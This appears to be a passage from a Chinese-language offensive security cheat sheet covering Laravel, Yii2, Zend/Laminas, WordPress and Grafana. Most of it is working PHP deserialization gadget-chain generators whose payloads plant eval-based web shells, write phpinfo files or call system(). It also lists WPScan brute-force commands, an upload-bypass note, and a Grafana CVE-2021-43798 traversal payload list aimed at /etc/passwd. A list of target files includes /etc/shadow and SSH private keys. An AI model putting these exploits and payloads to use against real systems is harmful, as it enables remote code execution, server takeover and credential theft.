      namespace Illuminate\Broadcasting{

      use Illuminate\Contracts\Queue\ShouldQueue;

      class BroadcastEvent implements ShouldQueue {
      function __construct()
      {
      }
      }
      class PendingBroadcast{
      protected $events;
      protected $event;
      function __construct()
      {
      $this->event = new BroadcastEvent();
      $this->event->connection = "whoami";
      $this->events = new \Illuminate\Bus\Dispatcher();
      }
      }
      }
      namespace{
      $a = new \Illuminate\Broadcasting\PendingBroadcast();
      echo base64_encode(serialize($a));
      }

      b.

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      <?php
      namespace Faker{
      class Generator{
      protected $providers = [];
      protected $formatters = [];
      function __construct()
      {
      $this->formatter = "register";
      $this->formatters = 9999;
      }

      }
      }
      namespace Illuminate\Routing{
      class PendingResourceRegistration{
      protected $registrar;
      protected $name;
      protected $controller;
      protected $options = [];
      protected $registered = false;
      function __construct()
      {
      $this->registrar = new \Faker\Generator();
      $this->name = "d:/var/www/untitiled/public/1.php";
      $this->controller = '<?php phpinfo();?>';
      $this->options = 8;
      }

      }
      }

      namespace Symfony\Component\Mime\Part{
      abstract class AbstractPart
      {
      private $headers = null;
      }
      class SMimePart extends AbstractPart{
      protected $_headers;
      public $inhann;
      function __construct(){
      $this->_headers = ["register"=>"file_put_contents"];
      $this->inhann = new \Illuminate\Routing\PendingResourceRegistration();
      }
      }
      }


      namespace{
      $a = new \Symfony\Component\Mime\Part\SMimePart();
      $ser = preg_replace("/([^\{]*\{)(.*)(s:49.*)(\})/","\\1\\3\\2\\4",serialize($a));
      echo base64_encode(str_replace("i:9999","R:2",$ser));
      }

      c.

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      <?php
      namespace GuzzleHttp\Cookie{
      class SetCookie
      {
      private static $defaults = [
      'Name' => null,
      'Value' => null,
      'Domain' => null,
      'Path' => '/',
      'Max-Age' => null,
      'Expires' => null,
      'Secure' => false,
      'Discard' => false,
      'HttpOnly' => false
      ];
      function __construct()
      {
      $this->data['Expires'] = '<?php phpinfo();?>';
      $this->data['Discard'] = 0;
      }
      }
      class CookieJar{
      private $cookies = [];
      private $strictMode;
      function __construct()
      {
      $this->cookies[] = new SetCookie();
      }
      }
      class FileCookieJar extends CookieJar{
      private $filename;
      private $storeSessionCookies;
      function __construct()
      {
      parent::__construct();
      $this->filename = "d:/var/www/untitled/public/shell.php";
      $this->storeSessionCookies = true;
      }
      }
      }
      namespace{
      $a = new \GuzzleHttp\Cookie\FileCookieJar();
      echo base64_encode(serialize($a));
      }

      d.

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      <?php
      namespace Faker{
      class Generator{
      protected $providers = [];
      protected $formatters = [];
      function __construct()
      {
      $this->formatter = "dispatch";
      $this->formatters = 9999;
      }

      }
      }

      namespace Illuminate\Broadcasting{
      class PendingBroadcast
      {
      public function __construct()
      {
      $this->event = "calc.exe";
      $this->events = new \Faker\Generator();
      }
      }
      }

      namespace Symfony\Component\Mime\Part{
      abstract class AbstractPart
      {
      private $headers = null;
      }
      class SMimePart extends AbstractPart{
      protected $_headers;
      public $inhann;
      function __construct(){
      $this->_headers = ["dispatch"=>"system"];
      $this->inhann = new \Illuminate\Broadcasting\PendingBroadcast();
      }
      }
      }

      namespace{
      $a = new \Symfony\Component\Mime\Part\SMimePart();
      $ser = preg_replace("/([^\{]*\{)(.*)(s:49.*)(\})/","\\1\\3\\2\\4",serialize($a));
      echo base64_encode(str_replace("i:9999","R:2",$ser));
      }

Yii

版本

a. 在controllers目录新建TestController.php控制器,打开TestController.php文件输入<?php echo Yii::getVersion(); ?>,访问Yii项目中的test控制器下的indexindex.php?r=test

b. /vendor/yiisoft/yii2/BaseYii.php

2.0.x

  • <2.0.37

    • 反序列化

      a. yii\db\BatchQueryResult::__destruct() -> Faker\Generator::__call() -> yii\rest\IndexAction::run()

      b. yii\db\BatchQueryResult::__destruct() -> Faker\Generator::__call() -> yii\rest\CreateAction::run()

      c.

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      <?php
      namespace yii\rest{
      class IndexAction{
      public $checkAccess;
      public $id;
      public function __construct(){
      $this->checkAccess = 'assert';
      $this->id = 'file_put_contents("1.php","<?php eval(\$_POST[0]);?>");exit();';
      }
      }
      }
      namespace yii\db{
      use yii\web\DbSession;
      class BatchQueryResult
      {
      private $_dataReader;
      public function __construct(){
      $this->_dataReader=new DbSession();
      }
      }
      }
      namespace yii\web{
      use yii\rest\IndexAction;
      class DbSession
      {
      public $writeCallback;
      public function __construct(){
      $a=new IndexAction();
      $this->writeCallback=[$a,'run'];
      }
      }
      }
      namespace{
      use yii\db\BatchQueryResult;
      echo base64_encode(serialize(new BatchQueryResult()));
      }
  • 2.0.38

    • 反序列化

      a. Codeception\Extension\RunProcess::__destruct() -> Faker\Generator::__call() -> yii\rest\IndexAction::run()

      b. Swift_KeyCache_DiskKeyCache -> phpDocumentor\Reflection\DocBlock\Tags\See::__toString()-> Faker\Generator::__call() -> yii\rest\IndexAction::run()

  • 2.0.42

    • 反序列化

      yii 2.0.42 最新反序列化利用全集

      a.

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      64
      65
      66
      67
      68
      69
      70
      71
      72
      73
      74
      75
      76
      77
      78
      79
      <?php
      namespace Codeception\Extension{
      use Prophecy\Prophecy\ObjectProphecy;
      class RunProcess{
      private $processes = [];
      public function __construct(){
      $a = new ObjectProphecy('1');
      $this->processes[]=new ObjectProphecy($a);
      }
      }
      echo urlencode(serialize(new RunProcess()));
      }
      namespace Prophecy\Prophecy{
      use Prophecy\Doubler\LazyDouble;
      class ObjectProphecy{
      private $lazyDouble;
      private $revealer;
      public function __construct($a){
      $this->revealer=$a;//一个调用自己的对象
      $this->lazyDouble=new lazyDouble();
      }
      }
      }
      namespace Prophecy\Doubler{
      use Prophecy\Doubler\Doubler;
      class LazyDouble{
      private $doubler;
      private $class;
      private $interfaces;
      private $arguments;
      private $double=null;
      public function __construct(){
      $this->doubler = new Doubler();
      $this->arguments=array('x'=>'x');
      $this->class=new \ReflectionClass('Exception');
      $this->interfaces[]=new \ReflectionClass('Exception');
      }
      }
      }
      namespace Faker{
      class DefaultGenerator{
      protected $default;
      public function __construct($default){
      $this->default = $default;
      }
      }
      }

      namespace Prophecy\Doubler\Generator\Node{
      class ClassNode{}
      }
      namespace Prophecy\Doubler{
      use Faker\DefaultGenerator;
      use Prophecy\Doubler\Generator\ClassCreator;
      use Prophecy\Doubler\Generator\Node\ClassNode;
      class Doubler{
      private $namer;
      private $mirror;
      private $patches;
      private $creator;
      public function __construct(){
      $name='x';
      $node=new ClassNode();
      $this->namer=new DefaultGenerator($name);
      $this->mirror=new DefaultGenerator($node);
      $this->patches=array(new DefaultGenerator(false));
      $this->creator=new ClassCreator();
      }
      }
      }
      namespace Prophecy\Doubler\Generator{
      use Faker\DefaultGenerator;
      class ClassCreator{
      private $generator;
      public function __construct(){
      $this->generator=new DefaultGenerator('eval($_POST["cmd"]);');
      }
      }
      }

      b.

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      <?php
      namespace Codeception\Extension{
      use Faker\UniqueGenerator;
      class RunProcess{
      private $processes = [];
      public function __construct(){
      $this->processes[]=new UniqueGenerator();
      }
      }
      echo urlencode(serialize(new RunProcess()));
      }
      namespace Faker{
      use Symfony\Component\String\LazyString;
      class UniqueGenerator{
      protected $generator;
      protected $maxRetries;
      public function __construct(){
      $a = new LazyString();
      $this->generator = new DefaultGenerator($a);
      $this->maxRetries = 2;
      }
      }
      class DefaultGenerator{
      protected $default;
      public function __construct($default = null){
      $this->default = $default;
      }
      }
      }
      namespace Symfony\Component\String{
      class LazyString{
      private $value;
      public function __construct(){
      include("closure/autoload.php");
      $a = function(){phpinfo();};
      $a = \Opis\Closure\serialize($a);
      $b = unserialize($a);
      $this->value=$b;
      }
      }
      }

Joomla!

3.x

Wordpress

扫描器 WPScan

扫描站点:wpscan --url http://xxxx

扫描主题:wpscan --url http://xxxx --enumerate t

扫描主题存在漏洞:wpscan --url http://xxxx --enumerate vt

扫描安装插件:wpscan --url http://xxxx --enumerate p

扫描安装插件漏洞:wpscan --url http://xxxx --enumerate vp

枚举用户:wpscan --url http://xxxx --enumerate u

暴力破解:

wpscan --url http://xxxx --wordlist 密码字典 --username 用户名或者密码字典

wpscan --url xxxx -P /root/Desktop/top10000.txt -U admin

插件

sp-client-document-manager

CVE-2021-24347 Getshell

直接上传,后缀名大小写绕过,上传后路径为wp-content/uploads/sp-client-document-manager/[user_id]/[file_name],admin的userid为1

moodle

https://github.com/HoangKien1020/Moodle_RCE

User Meta

CVE-2022-0779

CVE-2022-0760

https://wpscan.com/vulnerability/1c83ed73-ef02-45c0-a9ab-68a3468d2210

mail-masta

CVE-2016-10956 本地文件读取

responsive-vector-maps

任意文件读,结合 CVE-2024-2961 LFI to RCE

Zend

Zend FrameWork Pop Chain

zend framework 1

  • 反序列化

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    <?php

    class Zend_Mail
    {

    }
    class Zend_Log
    {
    protected $_writers;
    function __construct()
    {
    $this->_writers = [new Zend_Log_Writer_Mail()];
    }

    }

    class Zend_Log_Writer_Mail
    {

    protected $_eventsToMail;
    protected $_mail;
    protected $_layoutEventsToMail;
    protected $_layout;
    function __construct()
    {
    $this->_mail = new Zend_Mail();
    $this->_eventsToMail = [1];
    $this->_layoutEventsToMail = "";
    $this->_layout = new Zend_Config_Writer_Yaml();
    }
    }

    class Zend_CodeGenerator_Php_File
    {
    protected $_filename;
    protected $_body;
    function __construct()
    {
    $this->_filename = "a.php";
    $this->_body = '@eval(base64_decode($_POST[1]));';
    }
    }

    class Zend_Config
    {
    protected $_data;
    protected $_loadedSection;
    protected $_extends;
    function __construct()
    {
    $this->_loadedSection = "Mrkaixin";
    $this->_data = [];
    $this->_extends = "Mrkaixin";
    }
    }

    class Zend_Config_Writer_Yaml
    {
    protected $events;
    protected $_config;
    protected $_yamlEncoder;
    function __construct()
    {
    $this->events = "Mrkaixin";
    $this->_config = new Zend_Config();
    $this->_yamlEncoder = [new Zend_CodeGenerator_Php_File(), 'write'];
    }
    }

    echo base64_encode(serialize(new Zend_Log()));

Laminas

Zend FrameWork Pop Chain

入口

action: http://your-ip/public/index.php/application[/:action]

zend framework 4

  • 反序列化+RCE

    a.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    <?php
    namespace Zend\View\Renderer;
    use Zend\Config\Config;

    class PhpRenderer
    {
    function __construct()
    {
    $this->__helpers = new Config();
    }

    }
    namespace Zend\Config;

    class Config {
    protected $data = [];
    function __construct()
    {
    $this->data = ['shutdown'=>"phpinfo"];
    }
    }

    namespace Zend\Log;

    use Zend\View\Renderer\PhpRenderer;

    class Logger
    {
    protected $writers;
    function __construct()
    {
    $this->writers = [new PhpRenderer()];
    }

    }
    echo base64_encode(serialize(new Logger()));

    b.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    <?php
    namespace Laminas\View\Resolver{
    class TemplateMapResolver{
    protected $map = ["setBody"=>"system"];
    }
    }
    namespace Laminas\View\Renderer{
    class PhpRenderer{
    private $__helpers;
    function __construct(){
    $this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver();
    }
    }
    }

    namespace Laminas\Log\Writer{
    abstract class AbstractWriter{}
    class Mail extends AbstractWriter{
    protected $eventsToMail = ["ls"];
    protected $subjectPrependText = null;
    protected $mail;
    function __construct(){
    $this->mail = new \Laminas\View\Renderer\PhpRenderer();
    }
    }
    }

    namespace Laminas\Log{
    class Logger{
    protected $writers;
    function __construct(){
    $this->writers = [new \Laminas\Log\Writer\Mail()];
    }
    }
    }

    namespace{
    $a = new \Laminas\Log\Logger();
    echo base64_encode(serialize($a));
    }

Grafana

重要文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/usr/sbin/grafana-server
/etc/init.d/grafana-server
/etc/default/grafana-server
/etc/grafana/grafana.ini
/var/log/grafana/grafana.log
/var/lib/grafana/grafana.db
/usr/share/grafana

/conf/defaults.ini
/etc/passwd
/etc/shadow
/home/grafana/.bash_history
/home/grafana/.ssh/id_rsa
/root/.bash_history
/root/.ssh/id_rsa
/usr/local/etc/grafana/grafana.ini
/proc/net/fib_trie
/proc/net/tcp
/proc/self/cmdline

2.6.0

  • 任意文件读取

    CVE-2021-43798

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    /public/plugins/alertGroups/../../../../../../../../etc/passwd
    /public/plugins/alertlist/../../../../../../../../etc/passwd
    /public/plugins/alertmanager/../../../../../../../../etc/passwd
    /public/plugins/annolist/../../../../../../../../etc/passwd
    /public/plugins/barchart/../../../../../../../../etc/passwd
    /public/plugins/bargauge/../../../../../../../../etc/passwd
    /public/plugins/canvas/../../../../../../../../etc/passwd
    /public/plugins/cloudwatch/../../../../../../../../etc/passwd
    /public/plugins/dashboard/../../../../../../../../etc/passwd
    /public/plugins/dashlist/../../../../../../../../etc/passwd
    /public/plugins/debug/../../../../../../../../etc/passwd
    /public/plugins/elasticsearch/../../../../../../../../etc/passwd
    /public/plugins/gauge/../../../../../../../../etc/passwd
    /public/plugins/geomap/../../../../../../../../etc/passwd
    /public/plugins/gettingstarted/../../../../../../../../etc/passwd
    /public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd
    /public/plugins/grafana/../../../../../../../../etc/passwd
    /public/plugins/graph/../../../../../../../../etc/passwd
    /public/plugins/graphite/../../../../../../../../etc/passwd
    /public/plugins/heatmap/../../../../../../../../etc/passwd
    /public/plugins/histogram/../../../../../../../../etc/passwd
    /public/plugins/influxdb/../../../../../../../../etc/passwd
    /public/plugins/jaeger/../../../../../../../../etc/passwd
    /public/plugins/live/../../../../../../../../etc/passwd
    /public/plugins/logs/../../../../../../../../etc/passwd
    /public/plugins/loki/../../../../../../../../etc/passwd
    /public/plugins/mixed/../../../../../../../../etc/passwd
    /public/plugins/mssql/../../../../../../../../etc/passwd
    /public/plugins/mysql/../../../../../../../../etc/passwd
    /public/plugins/news/../../../../../../../../etc/passwd
    /public/plugins/nodeGraph/../../../../../../../../etc/passwd
    /public/plugins/opentsdb/../../../../../../../../etc/passwd
    /public/plugins/piechart/../../../../../../../../etc/passwd
    /public/plugins/pluginlist/../../../../../../../../etc/passwd
    /public/plugins/postgres/../../../../../../../../etc/passwd
    /public/plugins/prometheus/../../../../../../../../etc/passwd
    /public/plugins/stat/../../../../../../../../etc/passwd
    /public/plugins/state-timeline/../../../../../../../../etc/passwd
    /public/plugins/status-history/../../../../../../../../etc/passwd
    /public/plugins/table-old/../../../../../../../../etc/passwd
    /public/plugins/table/../../../../../../../../etc/passwd
    /public/plugins/tempo/../../../../../../../../etc/passwd
    /public/plugins/testdata/../../../../../../../../etc/passwd
    /public/plugins/text/../../../../../../../../etc/passwd
    /public/plugins/timeseries/../../../../../../../../etc/passwd
    /public/plugins/welcome/../../../../../../../../etc/passwd
    /public/plugins/xychart/../../../../../../../../etc/passwd
    /public/plugins/zipkin/../../../../../../../../etc/passwd